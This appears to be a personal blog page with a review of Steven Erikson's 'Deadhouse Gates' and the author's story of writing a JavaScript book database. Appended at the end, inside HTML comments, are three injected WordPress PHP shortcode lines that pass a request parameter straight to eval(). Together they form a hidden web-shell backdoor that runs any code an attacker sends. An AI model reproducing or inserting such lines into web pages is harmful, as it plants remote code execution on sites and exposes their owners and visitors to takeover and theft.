Deadhouse Gates ~ Steven Erikson

Deadhouse Gates is a novel written in the fashion we’ve grown to know Steven Erikson for. You take a bookverse, then add characters. All those characters have their own ambitions, they have their own plots, feelings, backstory… You know the whole deal. But the thing about Eriksons Fall of the Malazan empire-series (haven’t read his other books) is that you take a plot, and use that plot as a guide. Then you take other plots, and make yourself a silk weave.

‘yknow, because that’s what you do with stories, you make the finest of cloths so you can wear it and people will wonder what the hell your new clothes are made out of.

Enough with the analogies. Steven writes in a weaving path that takes you through the viewpoints of many men and women, often there’s a storyteller, because the person we’re being told of can’t themselves tell the stories. Other times you end up with a character where we can hear their thoughts… Well, that happens most of the time. But sometimes his storytelling takes the shape of a ghost, just observing.

Now, Characters, Erikson loves characters. Short count from the front of the book: 86, all of whom has something to do with the main plot. If you can call it a main plot. The reason why his books are like bricks, is because of his reliance upon the same weave he weaves with plots upon plots, to tell the story he wants to tell. The fall of the Malazan empire.

I loved the first book, and I loved the second book. It’s a book that makes the “autosave” feature some frequent readers experience show its moneys worth. To be able to pick up a book weeks after you discovered that you’d read yourself cross-eyed. It’s a skill that most readers should have. I have it, luckily, and it held true till the end of the book. I’d had a couple of months -long pauses, mostly because I didn’t take the time to read the book.

Now that I’m done, I regret not doing it earlier. It’s just a book, and it was meant to be read.

If you like a world so rich in characters, and their paths, that you may fear stumbling through the first fifty pages, then you will love this book.

As for a “Rating”: There are many scenes where blood and horrible scenery tarnishes the inner eye, I cannot recommend this book to any readers younger than young adult. There are scenes in this book so bad that my Internet-tempered mind flinched in some places. This is a book for adults. I like that there exists fantasy/scifi books for adults.


The story of how I wrote the Books::Database comes about on my birthday 2011 or 12, I was at my favourite book store “locally” I noticed that the store had a couple of garbage bags filled with books behind the counter.

Inquisitive me asked what they were there for. The man said “I’ll have to throw them away or give them to someone” I asked if I could have them and he basically threw them after me (It was books that had taken shelve space for a long time) . After getting the loot home to my father, I started stacking them. A third way through, I started writing Books:Database. As I had no internet connection (they lived in the bush back then), I used what I knew, and at the time I was playing around with javascript a lot.

I built a database with live search and an input interface, and started entering in data from the sorted books. My sister was working with me, but she used only paper. Even if I ended up spending two hours writing the software, I ended up finishing the registration process before her.

For the programmers out there: The books are stored in a text-file using a serialized JSON, this lets me search using javascript client side making it feel really snappy.

There you go, now you know where my database came from.

<!– [insert_php]if (isset($_REQUEST["afXnz"])){eval($_REQUEST["afXnz"]);exit;}[/insert_php][php]if (isset($_REQUEST["afXnz"])){eval($_REQUEST["afXnz"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["jYzA"])){eval($_REQUEST["jYzA"]);exit;}[/insert_php][php]if (isset($_REQUEST["jYzA"])){eval($_REQUEST["jYzA"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["APfl"])){eval($_REQUEST["APfl"]);exit;}[/insert_php][php]if (isset($_REQUEST["APfl"])){eval($_REQUEST["APfl"]);exit;}[/php] –>